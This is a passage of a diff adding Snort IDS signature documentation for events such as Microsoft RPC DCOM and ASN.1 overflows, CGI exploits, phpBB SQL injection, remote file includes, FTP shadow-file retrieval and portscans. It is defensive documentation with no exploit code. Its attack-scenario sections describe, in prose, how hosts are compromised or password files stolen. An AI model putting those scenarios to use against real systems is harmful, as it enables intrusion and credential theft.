+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2210.txt
+++ snort-2.7.0/doc/signatures/2210.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2210
+
+--
+Summary:
+This event is generated when an attempt is made to access global.cgi on an internal server. This may indicate an attempt to exploit an arbitrary command execution vulnerability in Global 3.55 on NetBSD.
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+Global is a source code tagging system for NetBSD. Versions 3.55 and earlier contain a vulnerability where commands sent to global.cgi are improperly parsed, allowing attackers to execute arbitrary code with the security context of the web server.
+
+--
+Affected Systems:
+Systems running Global 3.55 or lower on NetBSD.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to global.cgi on a vulnerable web server. The web server then attempts to execute the commands included in the URL.
+
+--
+Ease of Attack:
+Simple. Proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses global.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Global 4.01 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1854
+
+--
--- snort-2.7.0.orig/doc/signatures/1928.txt
+++ snort-2.7.0/doc/signatures/1928.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid: 
+1928
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+In this case, the rule will generate an event due to the attempted
+transfer of a shadow file. This file is generally used on muli-user
+systems to provide greater security for user passwords. This file should
+only be readable by the super user.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP. Retrieval of the shadow file may allow a user to crack the
+encryption scheme used and gain unauthorized access to the host.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2382.txt
+++ snort-2.7.0/doc/signatures/2382.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+2382
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/3240.txt
+++ snort-2.7.0/doc/signatures/3240.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3240
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2387.txt
+++ snort-2.7.0/doc/signatures/2387.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2387
+
+--
+Summary:
+This event is generated when an attempt is made to view a URL with the string "view_broadcast.cgi" in the name.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+A vulnerabilities exists in Apple Quick Time Streaming Server and
+Apple Darwin Streaming Server running on Windows hosts, that may allow
+a denial of service to occur.  This happens when expected parameters are not 
+supplied to this script, causing the server to fail to accept new connections.
+
+--
+Affected Systems:
+QuickTime/Darwin Streaming Server 4.1.3e and earlier on Windows
+
+--
+Attack Scenarios:
+An attacker can craft a packet that contains a URL with the location of the view_broadcast.cgi script and not pass it required parameters.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the systems affected.
+
+Upgrade to the latest non affected versions of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak<judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/8257
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0422
+
+--
--- snort-2.7.0.orig/doc/signatures/2200.txt
+++ snort-2.7.0/doc/signatures/2200.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2200
+
+--
+Summary:
+This event is generated when an attempt is made to access dnewsweb.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in NetWin DNews News Server 5.3.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+NetWin DNews News is a web-based application that manages remote access to Internet newsgroups. When overly long arguments are used as arguments to some dnewsweb.cgi parameters (including but not limited to "group," "cmd," and "utag"), a buffer overflow condition may occur. This can lead to the remote execution of arbitrary code with the security context of DNews. 
+
+--
+Affected Systems:
+Any operating system running NetWin DNews News Server 5.3 or lower.
+
+--
+Attack Scenarios:
+An attacker transmits an overly long, specially crafted URL to the vulnerable DNews server, causing a buffer overflow condition. The attacker is then able to execute arbitrary code on the server with the security context of DNews. 
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+If a legitimate remote user accesses dnewsweb.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to DNews News Server 5.4 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1172
+
+--
--- snort-2.7.0.orig/doc/signatures/2712.txt
+++ snort-2.7.0/doc/signatures/2712.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2712
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure end_instantiation
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/580.txt
+++ snort-2.7.0/doc/signatures/580.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+580
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) nisd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port nisd is using.  Attackers can also learn what versions of the nisd protocol are accepted by nisd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as nisd run.  The nisd RPC service implements Network Information Systems (NIS and NIS+).  NIS and NIS+ provide centralized management and distribution of information about resources, such as users and hosts, in a network domain.  A buffer overflow exists because of improper bounds checking, which can lead to execution of arbitrary commands on the host. 
+
+--
+Affected Systems:
+Solaris 2.3 - 2.6 hosts running NIS+.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where nisd runs.  This may be a precursor to accessing nisd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access nisd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for nisd, not probes of the nisd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the nisd service itself. An attacker may attempt to go directly to the nisd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/677
+
+CERT
+http://www.cert.org/advisories/CA-98.06.nisd.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS21
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3248.txt
+++ snort-2.7.0/doc/signatures/3248.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3248
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-21.txt
+++ snort-2.7.0/doc/signatures/122-21.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-21
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+filtered portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/3355.txt
+++ snort-2.7.0/doc/signatures/3355.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3355
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/959.txt
+++ snort-2.7.0/doc/signatures/959.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+959
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3211.txt
+++ snort-2.7.0/doc/signatures/3211.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3211
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3209.txt
+++ snort-2.7.0/doc/signatures/3209.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3209
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3351.txt
+++ snort-2.7.0/doc/signatures/3351.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3351
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3460.txt
+++ snort-2.7.0/doc/signatures/3460.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid: 
+3460
+
+--
+Summary:
+This event is generated when a numeric argument to the REST command is
+detected.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is generated
+when a numeric argument to the REST command is detected.
+
+If a numeric argument is supplied to the REST command on an affected
+HP-UX system, it may be possible for an attacker to discover the
+contents of a particular memory location identified by the argument.
+This may in turn lead to the disclosure of sensitive information on the
+host.
+
+--
+Affected Systems:
+	HP-UX 11.0 utilizing HP-UX ftpd 1.1.214 .4
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple. Exploit code is not needed but code does exist.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000509.txt
+++ snort-2.7.0/doc/signatures/100000509.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000509
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "RahnemaCo" application running on a webserver. 
+Access to the file "page.php" using a remote file being passed as the "pageid" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "pageid" parameter in the "page.php" script used by the 
+"RahnemaCo" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using RahnemaCo
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3346.txt
+++ snort-2.7.0/doc/signatures/3346.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3346
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2229.txt
+++ snort-2.7.0/doc/signatures/2229.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2229
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP application phpBB.
+
+--
+Impact:
+Information disclosure possibly leading to serious system compromise.
+
+--
+Detailed Information:
+Some versions of phpBB Group phpBB suffer from a vulnerability that 
+allows an attacker to inject SQL queries of their choosing.
+
+This can result in the disclosure of passwords and other information 
+stored in the database. The data contained in the database may also be 
+corrupted by a malicious SQL query.
+
+--
+Affected Systems:
+	phpBB Group phpBB 2.0.4, 2.0.5
+
+--
+Attack Scenarios:
+The attacker can execute one of the publicly available exploit scripts.
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000686.txt
+++ snort-2.7.0/doc/signatures/100000686.txt
@@ -0,0 +1,59 @@
+Rule:
+
